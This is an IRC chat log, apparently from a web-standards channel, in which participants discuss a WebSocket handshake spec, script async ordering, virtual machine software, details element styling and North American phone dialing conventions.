[03:04:01.0000] <jgraham>
But good, of course

[03:06:00.0000] <abarth>
boris and i were talking past each other for a bit

[03:06:01.0000] <abarth>
but i think we're making some progress

[03:07:00.0000] <jgraham>
Yes, but that always happens in these things. And this is not exactly the most trivial part of the spec

[03:08:00.0000] <abarth>
i'm writing up a diff for the websocket spec to include the new handshake

[03:08:01.0000] <abarth>
the style of the spec is super wordy

[03:08:02.0000] <abarth>
"followed by a UTF-8-encoded U+000D CARRIAGE RETURN U+000A LINE FEED character pair (CRLF)."

[03:09:00.0000] <jgraham>
That would be a Hixie-ism

[03:09:01.0000] <Hixie>
people complained when i gave byte values

[03:10:00.0000] <abarth>
i think the typical thing is to define an ABNF for the byte sequence

[03:10:01.0000] <jgraham>
I guess you are writing it assuming the full handshake after the fixed part is obfuscated, despite the reservations of some people about the depolyability of that?

[03:10:02.0000] <abarth>
and use that as an abbreviation

[03:11:00.0000] <Hixie>
ABNF is useless for anything but defining validity

[03:11:01.0000] <Hixie>
it doesn't define a parser

[03:11:02.0000] <Hixie>
it doesn't define the semantics of individual components

[03:11:03.0000] <abarth>
in the case of CRLF

[03:11:04.0000] <Hixie>
and it doesn't define error handling

[03:11:05.0000] <abarth>
it defines a precise sequence of octets :)

[03:12:00.0000] <Hixie>
ABNF doesn't define a precise sequence of octets, it defines a pattern that can be matched against an input string in a specified encoding and returns a bootlean

[03:12:01.0000] <Hixie>
boolean

[03:12:02.0000] <jgraham>
Nevertheless it seems inevitable that we will end up with websockets defined in terms of ABNF

[03:12:03.0000] <Hixie>
wonderful

[03:12:04.0000] <abarth>
well, it defines a set of octet sequences

[03:13:00.0000] <Hixie>
/me blocks out a few months of his calendar to write up a real spec to clear up the mess of bugs that will create :-)

[03:13:01.0000] <abarth>
in this case, a singleton set

[03:13:02.0000] <Hixie>
anyway, i gotta go sleep

[03:29:00.0000] <hsivonen>
abarth: fwiw, I confirm that .ordered has been withdrawn and Kyle accurately describes the two options that are still open

[03:29:01.0000] <abarth>
ok

[03:29:02.0000] <asmodai>
mmm, this latest 3.6.11 firefox build has some weird interrupt problem

[03:29:03.0000] <abarth>
reading your mails now

[03:29:04.0000] <asmodai>
If I move my mouse Javascript and webpage loading seems to trigger

[03:29:05.0000] <asmodai>
if I don't do anything it just stalls o_O

[03:30:00.0000] <abarth>
why is adding more API surface a bad idea?

[03:30:01.0000] <abarth>
the alternative seems to be making the existing APIs more subtle

[03:32:00.0000] <hsivonen>
abarth: with .ordered, the problem was that a boolean was wanted by instead the proposal had two booleans and a vague case where both are false

[03:33:00.0000] <hsivonen>
abarth: with your waitFor, there are the complications that Boris mentioned

[03:33:01.0000] <abarth>
that sounds like you don't like the particular APIs that have been proposed so far

[03:33:02.0000] <abarth>
not that you're against new API surface in principle

[03:33:03.0000] <hsivonen>
abarth: furthermore, anything that doesn't use async has the problem of making async more confusing since it would have no effect on script-inserted scripts

[03:34:00.0000] <abarth>
i don't see why that's confusing

[03:34:01.0000] <abarth>
script inserted scripts just are async

[03:34:02.0000] <abarth>
whether or not they get the attribute

[03:34:03.0000] <hsivonen>
abarth: you don't see why it's confusing to have DOM-exposed properties that have no effect when you touch them?

[03:34:04.0000] <abarth>
there are lots of those

[03:35:00.0000] <abarth>
e.g., the language attribute of a script element

[03:35:01.0000] <hsivonen>
it has an effect: you can set it to a value that makes the script useless

[03:37:00.0000] <asmodai>
crap, how to debug this

[03:37:01.0000] <abarth>
i think its more confusing to have a fourth category of script execution which is almost identical to async, but subtly ordered in a way that most people will never realize

[03:38:00.0000] <asmodai>
yay, crash report

[03:38:01.0000] <hsivonen>
abarth: why is it a problem if it addresses a use case and if it is opt-in so that people who use it do have the use case to deal with?

[03:39:00.0000] <abarth>
none of those things speak to whether or not its confusing

[03:39:01.0000] <Peter`>
Wouldn't script prioritization be a solution? It'd be usable for both @async as @defer 

[03:39:02.0000] <abarth>
that's not related either

[03:40:00.0000] <abarth>
priorization doesn't imply ordering

[03:40:01.0000] <abarth>
you can have something that's low priority randomly happen first

[03:40:02.0000] <hsivonen>
I have to go get lunch before my lunch place closes. sorry.

[03:40:03.0000] <abarth>
np

[03:41:00.0000] <asmodai>
http://crash-stats.mozilla.com/report/index/bp-59e7127e-8f5d-434c-8182-12f152101018

[03:41:01.0000] <asmodai>
Curious where it ended though

[05:30:00.0000] <zcorpan>
abarth|zZz: "9.  Send /response/." - leftover? i don't see /response/ mentioned anywhere else

[06:16:00.0000] <hsivonen>
when is one supposed to use http://www.w3.org/2003/entities/2007/w3centities-f.ent and when http://www.w3.org/2003/entities/2007/htmlmathml-f.ent

[06:16:01.0000] <hsivonen>
?

[06:17:00.0000] <annevk>
hsivonen, what virtual machine thing do you use on Mac?

[06:17:01.0000] <hsivonen>
annevk: Parallels 

[06:18:00.0000] <hsivonen>
annevk: version 5

[06:18:01.0000] <annevk>
just because 6 was not out yet?

[06:19:00.0000] <annevk>
is Parallels much better than http://www.virtualbox.org/ ?

[06:21:00.0000] <hsivonen>
annevk: I didn't see why I'd need to upgrade to 6 

[06:21:01.0000] <hsivonen>
annevk: esp. now that I'm using VirtualBox on Linux more often than I use Parallels on Mac

[06:21:02.0000] <hsivonen>
annevk: I haven't tested VirtualBox on Mac

[06:22:00.0000] <hsivonen>
annevk: for Windows, Parallels has the Coherence mode, which is nice (Mac windows and Windows windows intermingle)

[06:22:01.0000] <hsivonen>
annevk: also, Parallels provides a higher-spec virtual GPU than VirtualBox

[06:23:00.0000] <hsivonen>
david_carlisle: when is one supposed to use http://www.w3.org/2003/entities/2007/w3centities-f.ent and when http://www.w3.org/2003/entities/2007/htmlmathml-f.ent ?

[06:23:01.0000] <david_carlisle>
hsivonen: use w3centities if you are me and htmlmathml if you are you

[06:24:00.0000] <annevk>
hsivonen, so I would buy Parallels plus get a Windows disk somehow?

[06:24:01.0000] <david_carlisle>
Or more exactly it depends if you care about the iso entity sets that are not in html or mathml

[06:24:02.0000] <hsivonen>
david_carlisle: ok. thanks.

[06:25:00.0000] <david_carlisle>
while you are there is it just me or is

[06:25:01.0000] <david_carlisle>
Firefox can't establish a connection to the server at html5.validator.nu.

[06:25:02.0000] <david_carlisle>
a general problem at mo?

[06:25:03.0000] <annevk>
david_carlisle, http://downforeveryoneorjustme.com/html5.validator.nu/

[06:27:00.0000] <nessy>
annevk: I use VirtualBox on Mac quite successfully - happy with it running ubuntu, window7 et

[06:27:01.0000] <nessy>
etc

[06:27:02.0000] <hsivonen>
I'm looking into the html5.validator.nu situation

[06:29:00.0000] <annevk>
nessy, k thanks

[06:29:01.0000] <annevk>
guess I'll use that then

[06:29:02.0000] <annevk>
jgraham was also recommending VirtualBox

[06:29:03.0000] <hsivonen>
david_carlisle: the server process had died. I'm restarting it now.

[06:29:04.0000] <jgraham>
I think I have used virtualbox on the mac too

[06:30:00.0000] <hsivonen>
david_carlisle: works again now.

[06:30:01.0000] <jgraham>
(I was recommending it based on Linux mainly, but I don't recall any issues on Mac)

[06:30:02.0000] <timeless_mbp>
hsivonen:  i use vbox on mac

[06:30:03.0000] <david_carlisle>
hsivonen: thanks, mainly I was just checking I wasn't lying in the polyglot document bug thread when I referenced validator.nu:-)

[06:31:00.0000] <hsivonen>
VirtualBox has worked for basic browser testing for me when running Windows 7 32-bit over Linux 64-bit

[06:31:01.0000] <timeless_mbp>
fwiw i'm trying to use hg ann on /source, it's um.. unpleasant

[06:31:02.0000] <hsivonen>
but I can't test Direct2D stuff with it

[06:31:03.0000] <timeless_mbp>
annevk: i'm quite happy w/ vbox on mac

[06:31:04.0000] <timeless_mbp>
i did try parallels on mac, it did have half of a feature i wanted, but it wasn't worth it to me

[06:32:00.0000] <timeless_mbp>
oh, i was trying to use parallels to access a legacy usb video capture device

[06:32:01.0000] <hsivonen>
Parallels makes it easier to make throw-away virtual machine copies

[06:32:02.0000] <annevk>
guess now I need to get an Ubuntu iso and maybe a Windows 7 iso

[06:32:03.0000] <timeless_mbp>
it almost supported it, but my guest os's didn't really :)

[06:32:04.0000] <hsivonen>
if you copy a Parallels VM, it say, "hey, you copied a VM. do you want it to work?"

[06:32:05.0000] <hsivonen>
then you say yes and it works

[06:33:00.0000] <timeless_mbp>
in vbox you don't bother, just make a snapshot and diverge...

[06:33:01.0000] <hsivonen>
with VirtualBox, if you copy a VM, it says you have a corrupt VM

[06:33:02.0000] <timeless_mbp>
at least, that's what i normally do...

[06:33:03.0000] <timeless_mbp>
/me is pretty sure there's a way to clone a vm using some command, possibly even a gui, not sure

[06:34:00.0000] <timeless_mbp>
#vbox is user help, i'm supposed to visit #vbox-dev and give them a patch this week

[06:39:00.0000] <roc>
Parallels and VirtualBox do not support record and replay, therefore they are inferior

[06:40:00.0000] <jgraham>
roc: I hope VMWare are paying you well ;)

[06:41:00.0000] <roc>
the money tends to flow in the other direction

[06:41:01.0000] <hsivonen>
roc: does R&R work in practice on non-Windows yet?

[06:42:00.0000] <roc>
no

[06:43:00.0000] <hsivonen>
I wish one day Linux GUI debugging advanced to the state where I could launch Firefox in the Eclipse gdb front end

[06:44:00.0000] <hsivonen>
now at least I have gotten so far that I can attach the Eclipse gdb front end to an Eclipse-launched Firefox process

[06:44:01.0000] <hsivonen>
I'm not holding my breath for this stuff working with a VM thrown into the mix :-(

[06:59:00.0000] <timeless_mbp>
roc: but that's what we have you for :)

[07:01:00.0000] <annevk>
wait, VirtualBox for Mac is 32bit?

[07:02:00.0000] <timeless_mbp>
um

[07:02:01.0000] <timeless_mbp>
i'm using 64bit

[07:02:02.0000] <timeless_mbp>
at least, i think i am

[07:02:03.0000] <timeless_mbp>
it certainly has 64bit kernel support

[07:02:04.0000] <annevk>
when installing Ubuntu it complaints that my CPU is 32bit

[07:03:00.0000] <timeless_mbp>
and it can host 64bit os's even if the host os isn't 64bit

[07:03:01.0000] <timeless_mbp>
you have to select a 64bit guest emulation

[07:04:00.0000] <annevk>
where do you do that?

[07:05:00.0000] <timeless_mbp>
hrm, maybe you don't

[07:05:01.0000] <timeless_mbp>
/me ponders

[07:05:02.0000] <timeless_mbp>
http://www.virtualbox.org/wiki/Guest_OSes

[07:05:03.0000] <timeless_mbp>
how old is your computer?

[07:05:04.0000] <hsivonen>
I hate it when I don't manage to write a test that fails without a fix

[07:05:05.0000] <timeless_mbp>
to do 64bit guest iirc requires hardware support

[07:06:00.0000] <timeless_mbp>
annevk: hold on

[07:06:01.0000] <timeless_mbp>
annevk: when you create the vm

[07:06:02.0000] <timeless_mbp>
by using the 'new' button

[07:06:03.0000] <timeless_mbp>
in the lower (os) drop down, select <some linux> 64

[07:07:00.0000] <timeless_mbp>
sorry in the upper you chose Linux (OS), in the lower (Version) you choose <some linux> 64

[07:07:01.0000] <annevk>
ooh thanks

[07:07:02.0000] <timeless_mbp>
sorry, i knew i'd seen it, but i haven't made one in ages :)

[07:08:00.0000] <timeless_mbp>
on my mac i have 4 things which aren't 64bit: GoogleTalk, GoogleTalk, Flash, QuickSilver

[07:08:01.0000] <timeless_mbp>
everything else is 64bit :) [I changed to 64bit kernel this morning]

[07:08:02.0000] <timeless_mbp>
wah, and Picasa :(

[07:14:00.0000] <Tux>
Hello. After a great html5 code camp this weekend I decided to post a proposal to the new html5 specification: I would like to see an "acronym" parameter on the <abbr> tag. This to help text readers how to pronounce abbreviations.

[07:17:00.0000] <annevk>
Tux, why can't they do that based on a dictionary?

[07:18:00.0000] <annevk>
Tux, I mean, how is this more of a problem than any other number of items for which there might be ambiguities

[07:20:00.0000] <zcorpan>
hmm i don't know what to make of http://html5doctor.com/html5-simplequiz-3-how-to-mute-a-video/#comments

[07:22:00.0000] <hsivonen>
zcorpan: I guess at least some authors don't expect attribute reflection to work like it does

[07:23:00.0000] <hsivonen>
zcorpan: if we made .async not reflect fully, I think the only people who'd notice would be people implementing the DOM property or people writing test cases for it

[07:24:00.0000] <annevk>
zcorpan, when browsers give such diverse answers we usually just go with something

[07:25:00.0000] <Tux>
annevk: It can be based on a dictionary. But as with other things in html5 it was written to help text readers. In html4 there was an acronym tag which is now deprecated.

[07:26:00.0000] <Tux>
To deprecate it is all nice, but I miss the option as a parameter

[07:27:00.0000] <zcorpan>
annevk: browsers?

[07:27:01.0000] <annevk>
zcorpan, yeah, for a testcase

[07:28:00.0000] <annevk>
Tux, <acronym> could not be meaningfully used for that

[07:28:01.0000] <Philip`>
Tux: http://philip.html5.org/data/abbr-acronym.txt - I don't think text-to-speech could reliably derive much pronunciation information from abbr vs acronym

[07:28:02.0000] <Philip`>
and almost all abbreviations/acronyms aren't marked up at all

[07:28:03.0000] <zcorpan>
annevk: what are you talking about?

[07:29:00.0000] <annevk>
zcorpan, I'm saying your question was a testcase and the answers are diverse so we should just go with something

[07:30:00.0000] <annevk>
or you could set up usability testing I suppose, but for something this simple I am not sure that is worth it

[07:30:01.0000] <zcorpan>
annevk: oh. now i follow what you're saying

[07:31:00.0000] <zcorpan>
i guess the lesson here is that it might not be a good idea to ask authors what they think when doing language design, since everyone apparently have different ideas about how it should be

[07:34:00.0000] <hsivonen>
zcorpan: I invited comments on the <p><figure> thing from authors. have there been any?

[07:35:00.0000] <hsivonen>
(other than the comment from Tab, but he is now deeper in the spec land)

[07:42:00.0000] <zcorpan>
hsivonen: where did you invite the comments?

[08:57:00.0000] <annevk>
zcorpan, on public-html

[09:25:00.0000] <TabAtkins_>
hsivonen: What do you mean "deeper in the spec land"?  I'm still definitely an author; I just also get to write specs that I hope to be able to use in the future.

[09:27:00.0000] <jgraham>
TabAtkins_: I think that disqualifies you from being "just" an author

[09:28:00.0000] <jgraham>
If you are also a spec author and a browser developer

[09:28:01.0000] <TabAtkins_>
Sure, I'm not "just", but that doesn't make me "not".

[09:30:00.0000] <jgraham>
No but it does make your opinion less relevant on questions aimed discerning what the average author would find intuitive

[09:31:00.0000] <TabAtkins_>
Bah.

[09:31:01.0000] <TabAtkins_>
My opinion as an "average" author was compromised long ago, when I started caring about standards.

[09:33:00.0000] <TabAtkins_>
Hmm.  I wonder how using <details> for a tablist would work, if you ripped out the <summary>s via CSS to display together.  Sounds like it has potential.

[09:40:00.0000] <TabAtkins_>
I forget - does [open] on details reflect the current open state?

[09:40:01.0000] <annevk>
yes

[09:40:02.0000] <TabAtkins_>
kk

[09:41:00.0000] <annevk>
that might also cause mutating on parsing given a preference to open all <details> by default

[09:41:01.0000] <annevk>
and maybe when printing

[09:41:02.0000] <TabAtkins_>
Yeah, sure.

[09:41:03.0000] <annevk>
I don't like it at all for that reason

[09:41:04.0000] <TabAtkins_>
That's what you want, in terms of styling, though.

[09:42:00.0000] <annevk>
for styling we could just have :open

[09:42:01.0000] <TabAtkins_>
Well, I suppose you could just introduce :open, yeah.

[09:42:02.0000] <annevk>
would be more consistent too

[09:42:03.0000] <TabAtkins_>
Either way works for me.

[09:42:04.0000] <TabAtkins_>
Bug Hixie on it, then.

[09:42:05.0000] <annevk>
why do I need to use :checked here and [open] there? aaah

[09:42:06.0000] <TabAtkins_>
Yeah, good argument.

[09:42:07.0000] <annevk>
I failed to convince him

[09:42:08.0000] <TabAtkins_>
You actually file a bug?

[09:42:09.0000] <annevk>
and I don't care enough I guess; I just think it's silly

[09:43:00.0000] <annevk>
no

[09:43:01.0000] <TabAtkins_>
k, I'll do so.

[09:43:02.0000] <annevk>
good luck, you got my vote

[09:43:03.0000] <TabAtkins_>
How would it be reflected, then?  defaultOpen, like muted and value?

[09:43:04.0000] <TabAtkins_>
How does checked reflect?

[09:44:00.0000] <annevk>
.checked is the actual value, .defaultChecked is checked="" and [checked]

[09:44:01.0000] <TabAtkins_>
Okay, cool.

[09:48:00.0000] <annevk>
yeah: http://enterprise-html.com/4

[09:48:01.0000] <TabAtkins_>
Aw yeah.

[09:50:00.0000] <annevk>
only 39 bugs left

[09:50:01.0000] <annevk>
way to go Hixie

[09:50:02.0000] <Workshiva>
Wait what

[09:50:03.0000] <Workshiva>
It has unpaired quotes

[09:52:00.0000] <TabAtkins_>
Workshiva: ?_?

[09:52:01.0000] <Workshiva>
Also, what has science done: http://enterprise-html.com/10

[10:59:00.0000] <TabAtkins_>
Workshiva: Science has made some bitching broken lines from any-to-any HTML document, that's what.

[12:38:00.0000] <hsivonen>
TabAtkins_: I mean you may know too much about language design from the spec writing side to have opinions like a typical author

[12:44:00.0000] <zcorpan>
oh, the xml-stylesheet PER period is over

[12:45:00.0000] <zcorpan>
seems there were no comments

[12:46:00.0000] <zcorpan>
(though there were a number of comments before PER)

[13:11:00.0000] <karlcow>
http://ksi.cpsc.ucalgary.ca/archives/WWW-TALK/www-talk-1993q2.messages/672.html

[13:12:00.0000] <karlcow>
<nav>

[14:29:00.0000] <jcranmer>
timeless_mbp: you work at the same place as smaug____ ?

[14:29:01.0000] <TabAtkins>
timeless works for Nokia, but is a Mozilla contributor.

[14:29:02.0000] <jcranmer>
I know that

[14:29:03.0000] <jcranmer>
but the hostmasks

[14:30:00.0000] <jcranmer>
@YZKMMDCCLV.gprs.sl-laajakaista.fi versus @a88-115-8-36.elisa-laajakaista.fi

[14:30:01.0000] <AryehGregor>
That looks like the same ISP to me.

[14:30:02.0000] <AryehGregor>
Although the second-level domain is actually different, in fact.

[14:30:03.0000] <AryehGregor>
So maybe not.

[14:30:04.0000] <AryehGregor>
"laajakaista" means "broadband" in Finnish, apparently.

[14:30:05.0000] <jcranmer>
I don't know Finnish, so I can't say what's true

[14:31:00.0000] <AryehGregor>
So probably two different companies.

[14:31:01.0000] <jcranmer>
hmm

[14:31:02.0000] <nw>
yeah, they're basically the same isp

[14:31:03.0000] <nw>
sl = saunalahti, which is a daughter company of elisa

[14:31:04.0000] <TabAtkins>
So it seems all you can draw is that they both work in Finland.

[14:32:00.0000] <nw>
and laajakaista is indeed broadband

[14:35:00.0000] <smaug____>
jcranmer: I work for Mozilla

[14:35:01.0000] <jgraham>
Is it me or are there a surprisingly high number of people from finland in here?

[14:35:02.0000] <jcranmer>
then why are you on an .fi ?

[14:35:03.0000] <smaug____>
why wouldn't I

[14:35:04.0000] <jcranmer>
I didn't realize Mozilla had an office in finland

[14:35:05.0000] <smaug____>
you know, Mozilla is a global project/organization

[14:36:00.0000] <smaug____>
there is no office in Finland

[14:36:01.0000] <jcranmer>
yes, I'm aware of the offices in Toronto, Mountain View, and New Zealand

[14:36:02.0000] <smaug____>
just I and hsivonen 

[14:36:03.0000] <jcranmer>
ah

[14:36:04.0000] <jcranmer>
/me had thought you were at the MV office

[14:36:05.0000] <timeless_mbp>
well

[14:36:06.0000] <AryehGregor>
Lots of Mozilla people aren't in offices.

[14:36:07.0000] <jgraham>
(one might naively expect about twice as many people from London as from Finland)

[14:36:08.0000] <timeless_mbp>
you can conclude we have a Point of Presence in Finland

[14:37:00.0000] <timeless_mbp>
you can't even conclude we work here

[14:37:01.0000] <timeless_mbp>
(we do, but...)

[14:38:00.0000] <AryehGregor>
http://hire.jobvite.com/CompanyJobs/Jobs.aspx?c=qpX9Vfwa "Most positions are based at our headquarters in Mountain View, California, but we also have offices in Tokyo, Paris, Toronto, Beijing and Auckland (with more to come!). Not near one of our offices? Mozilla thrives as an organization because of our diverse and distributed workforce, so remote employment is an option."

[14:38:01.0000] <timeless_mbp>
oh, you should also conclude that DNS is good for spoofing, because you were more or less spoofed :)

[14:38:02.0000] <jgraham>
/me presumes he appears somewhere on the US east coast despite being nowhere near there

[14:38:03.0000] <jgraham>
And Hixie is not actually in Norway

[14:38:04.0000] <AryehGregor>
web22.webfaction.com

[14:40:00.0000] <timeless_mbp>
jgraham: i can't find any useful pointer w/ whois for webfaction.com

[14:40:01.0000] <jgraham>
http://www.webfaction.com/

[14:40:02.0000] <timeless_mbp>
yeah, i can't find any addresses there

[14:40:03.0000] <timeless_mbp>
not in contact and not in jobs

[14:41:00.0000] <jgraham>
Well the default server timezone is what I am using

[14:41:01.0000] <jgraham>
Doesn't narrow it down much

[14:42:00.0000] <Philip`>
traceroute strongly suggests Dallas

[14:42:01.0000] <AryehGregor>
traceroute seems to suggest Texas.

[14:42:02.0000] <AryehGregor>
Dallas specifically, yeah.

[14:42:03.0000] <timeless_mbp>
dllstx6

[14:42:04.0000] <timeless_mbp>
hrm, yeah dallas-texas

[14:42:05.0000] <timeless_mbp>
but that requires you to be awake

[14:42:06.0000] <AryehGregor>
Well, theplanet.com is the ISP.

[14:42:07.0000] <timeless_mbp>
it's nearly midnight here

[14:42:08.0000] <AryehGregor>
theplanet-cr01.dallas.tx.ibone.comcast.net

[14:42:09.0000] <AryehGregor>
That's the last interesting one, before the ISP.

[14:43:00.0000] <timeless_mbp>
http://pastebin.mozilla.org/820843

[14:43:01.0000] <AryehGregor>
(well, from my traceroute)

[14:43:02.0000] <timeless_mbp>
i didn't come in via comcast, you got a US connect

[14:43:03.0000] <AryehGregor>
Although it so happens that I used to host my website on The Planet and could probably have remembered their main data center is in Dallas.

[14:43:04.0000] <jgraham>
(the parent company seems to be registered in London)

[14:43:05.0000] <timeless_mbp>
theplanet seems to have a uk peer

[14:44:00.0000] <AryehGregor>
Huh, yeah, you're jumping across the ocean without any intermediary there.

[14:44:01.0000] <timeless_mbp>
AryehGregor: that'd definitely be cheating

[14:44:02.0000] <AryehGregor>
Well, theplanet.com says so, so it's not totally cheating.

[14:44:03.0000] <Philip`>
/me goes through Level3 all the way to Dallas, then theplanet

[14:45:00.0000] <timeless_mbp>
wow, theplanet actually lists an international phone number

[14:45:01.0000] <timeless_mbp>
that's just odd

[14:45:02.0000] <timeless_mbp>
do you guys see that too? <https://www.theplanet.com/content/images/shell/footer-contact.jpg>

[14:46:00.0000] <AryehGregor>
Yes.

[14:46:01.0000] <jgraham>
It would be more odd if we didn't :)

[14:46:02.0000] <timeless_mbp>
jgraham: they could be geo reversing me

[14:46:03.0000] <timeless_mbp>
and giving me intl content

[14:46:04.0000] <timeless_mbp>
hrm, yeah, i think i came in via theplanet's uk pop, because the ms delay between 8 and 9 would be a pond crossing

[14:47:00.0000] <timeless_mbp>
smaug____: so…. my stupid DVR's remote stopped working. i'm trying to use my n900 as a remote

[14:47:01.0000] <jgraham>
timeless_mbp: Oh well in that case AryehGregor is the only person with an interestingly different perspective

[14:47:02.0000] <timeless_mbp>
but the programming for it doesn't know about Play/Pause/FF/Rewind/menu

[14:48:00.0000] <AryehGregor>
Hmm?

[14:49:00.0000] <jgraham>
AryehGregor: You are the only person in the US that is participating in the conversation

[14:49:01.0000] <timeless_mbp>
jcranmer is in the us

[14:49:02.0000] <timeless_mbp>
but he dropped out

[14:50:00.0000] <jgraham>
Fair point

[14:50:01.0000] <AryehGregor>
Well, I can also use my server in Amsterdam if we need more European perspectives.

[14:50:02.0000] <timeless_mbp>
heh

[14:50:03.0000] <timeless_mbp>
i have half a dozen PoPs in the US, but i'm too lazy :)

[14:50:04.0000] <jcranmer>
huh

[14:51:00.0000] <timeless_mbp>
but seriously, have any of you actually seen US International formatted phone numbers on web pages?

[14:51:01.0000] <AryehGregor>
I think right now I only have New York, Denver, and Amsterdam.  Hmm, maybe Tampa.

[14:51:02.0000] <timeless_mbp>
/me can't recall seeing such things

[14:51:03.0000] <AryehGregor>
I don't even know what a US International formatted phone number is.

[14:51:04.0000] <AryehGregor>
If I see something that doesn't look like an American number, I ignore it.

[14:51:05.0000] <AryehGregor>
My brain files it under "crazy foreign stuff".

[14:51:06.0000] <timeless_mbp>
i have DC, Was State, CA

[14:51:07.0000] <timeless_mbp>
AryehGregor: heh

[14:51:08.0000] <TabAtkins>
Presumably the +1-xxx-yyy-zzzz?

[14:52:00.0000] <timeless_mbp>
TabAtkins: the picture above was 001

[14:52:01.0000] <timeless_mbp>
https://www.theplanet.com/content/images/shell/footer-contact.jpg

[14:52:02.0000] <TabAtkins>
Oh yeah, that would confuse the hell out of me.

[14:52:03.0000] <timeless_mbp>
even +1 format is relatively rare

[14:52:04.0000] <timeless_mbp>
oh speaking of funnies

[14:52:05.0000] <timeless_mbp>
lemme get nokia's page of stupidity

[14:52:06.0000] <TabAtkins>
/me hates the mysterious convention of putting 0s in phone numbers that aren't actually typed.

[14:53:00.0000] <jgraham>
In international codes?

[14:53:01.0000] <timeless_mbp>
load http://www.nokia.com/about-nokia/contacts/nokia-offices

[14:53:02.0000] <TabAtkins>
In any phone number, ever.  It seems to be common in English phone numbers, iirc.

[14:53:03.0000] <timeless_mbp>
at the bottom in Select location:

[14:53:04.0000] <jgraham>
Oh

[14:53:05.0000] <timeless_mbp>
select United States of America

[14:53:06.0000] <timeless_mbp>
then stare at the phone numbers

[14:54:00.0000] <timeless_mbp>
TabAtkins: by English you mean UK?

[14:54:01.0000] <jgraham>
You mean like in 0044 (0)1223 461 926?

[14:54:02.0000] <TabAtkins>
...um?

[14:54:03.0000] <TabAtkins>
jgraham: No, go further down.

[14:54:04.0000] <TabAtkins>
jgraham: There's a dropdown that you can select a country in.

[14:54:05.0000] <TabAtkins>
jgraham: omg

[14:55:00.0000] <timeless_mbp>
TabAtkins: jgraham was responding to your comment about untyped 0's

[14:55:01.0000] <jgraham>
TabAtkins: Nothing to do with the page :)

[14:55:02.0000] <timeless_mbp>
/me waits for the rest of the people to load the nokia-offices page

[14:55:03.0000] <TabAtkins>
timeless_mbp: Sure, maybe.  I just recall serving customers in that timezone, and having to try to figure out how to dial their numbers correctly.

[14:55:04.0000] <TabAtkins>
jgraham: Oh, okay.  Then yes.

[14:55:05.0000] <timeless_mbp>
TabAtkins: yeah

[14:55:06.0000] <timeless_mbp>
just trying to establish you meant the country-region not the language-set

[14:56:00.0000] <jgraham>
Yeah the (0) in the middle you have to dial from the UK but not internationally

[14:56:01.0000] <jgraham>
That is the only confusing thing afaik

[14:56:02.0000] <timeless_mbp>
it's actually common in a lot of european countries

[14:56:03.0000] <timeless_mbp>
anyway, jgraham, et al, try the nokia-offices page :)

[14:57:00.0000] <AryehGregor>
American numbers are so nice and simple.

[14:57:01.0000] <timeless_mbp>
AryehGregor: 

[14:57:02.0000] <timeless_mbp>
23621 Park Sorrento Road

[14:57:03.0000] <timeless_mbp>
91302 Calabasas, California

[14:57:04.0000] <timeless_mbp>
United States of America

[14:57:05.0000] <timeless_mbp>
Tel: 18 188 766 000

[14:57:06.0000] <timeless_mbp>
Fax: 18 188 766 089

[14:57:07.0000] <AryehGregor>
Especially if you live in a place where you're not allowed to dial without an area code, like Manhattan.  Then it's just a fixed 11 digits.

[14:58:00.0000] <timeless_mbp>
/me grew up w/ 7 digit dialing, and then the DC area switched to 10 digit dialing

[14:58:01.0000] <jcranmer>
actually, you can do 10 digits

[14:58:02.0000] <TabAtkins>
AryehGregor: Well, 10 digits usually.

[14:58:03.0000] <jcranmer>
you don't need the 1

[14:59:00.0000] <AryehGregor>
Really?

[14:59:01.0000] <TabAtkins>
yeah.

[14:59:02.0000] <AryehGregor>
I never knew that.

[14:59:03.0000] <timeless_mbp>
heh

[14:59:04.0000] <jcranmer>
so I just dial 703-xxx-xxxx to get to my cell phone, e.g.

[14:59:05.0000] <AryehGregor>
/me will have to try it.

[14:59:06.0000] <timeless_mbp>
fwiw, w/ a cell phone i prefer +1

[14:59:07.0000] <timeless_mbp>
because then my phone still works when i take it somewhere else

[14:59:08.0000] <AryehGregor>
I assumed that if that worked, it would only be because the phone intelligently prefixes the 1.

[14:59:09.0000] <TabAtkins>
AryehGregor: I assure you that, in America, American numbers do not require the 1.

[15:00:00.0000] <jcranmer>
you generally need it if you're going long-distance

[15:00:01.0000] <AryehGregor>
Theoretically, if you used an old simple phone with no fancy computers inside, it still wouldn't need the 1?

[15:00:02.0000] <TabAtkins>
It's just part of our switching.

[15:00:03.0000] <AryehGregor>
Hmm.

[15:00:04.0000] <TabAtkins>
jcranmer: Sometimes?

[15:00:05.0000] <jgraham>
Presumably outside America you need 001

[15:00:06.0000] <timeless_mbp>
AryehGregor:  it's the network

[15:00:07.0000] <AryehGregor>
I'll have to test that.

[15:00:08.0000] <timeless_mbp>
you need a prefix to escape the us

[15:00:09.0000] <jcranmer>
TabAtkins: I've always dialed 1 if it's not a 703 or 571 area code

[15:00:10.0000] <timeless_mbp>
(00)

[15:00:11.0000] <jcranmer>
except on my cellphone

[15:00:12.0000] <jcranmer>
I've just never bothered to try

[15:00:13.0000] <timeless_mbp>
the 1 has been needed for non local regions

[15:01:00.0000] <timeless_mbp>
it meant "i want the long distance operator"

[15:01:01.0000] <timeless_mbp>
as opposed to "i'm dialing in my local region"

[15:01:02.0000] <timeless_mbp>
which could be NY-city metro

[15:01:03.0000] <timeless_mbp>
or DC-metro

[15:01:04.0000] <TabAtkins>
jcranmer: I never dial the 1 within America unless the number specifically fails and tells me to.

[15:01:05.0000] <timeless_mbp>
(301, 202, 703, later 240)

[15:01:06.0000] <jcranmer>
timeless_mbp: 571

[15:01:07.0000] <TabAtkins>
Calling between California and Texas in both directions works fine without it.

[15:01:08.0000] <jcranmer>
703/571 is the area code split for No. VA

[15:02:00.0000] <timeless_mbp>
jcranmer: 571 split later

[15:02:01.0000] <jcranmer>
aaah

[15:02:02.0000] <timeless_mbp>
and i didn't know people in it

[15:02:03.0000] <jcranmer>
it's mostly used for cellphones

[15:02:04.0000] <AryehGregor>
If I type 123-456-7890, how does it know that I want 1-123-456-7890 and not 123-4567 with the 890 being garbage?

[15:02:05.0000] <AryehGregor>
It will drop excess digits at the end, right?

[15:02:06.0000] <AryehGregor>
Er, well.

[15:02:07.0000] <jcranmer>
I don't know of a local exchange that begins with a 1

[15:02:08.0000] <AryehGregor>
Neither a phone number or area code can start with 1.

[15:02:09.0000] <AryehGregor>
So make it 234-567-8901, then.

[15:03:00.0000] <TabAtkins>
AryehGregor: The way the system is set up, it can make the assumption safely.

[15:03:01.0000] <AryehGregor>
Could be 234-5678, no?

[15:03:02.0000] <AryehGregor>
TabAtkins, that doesn't answer the question.

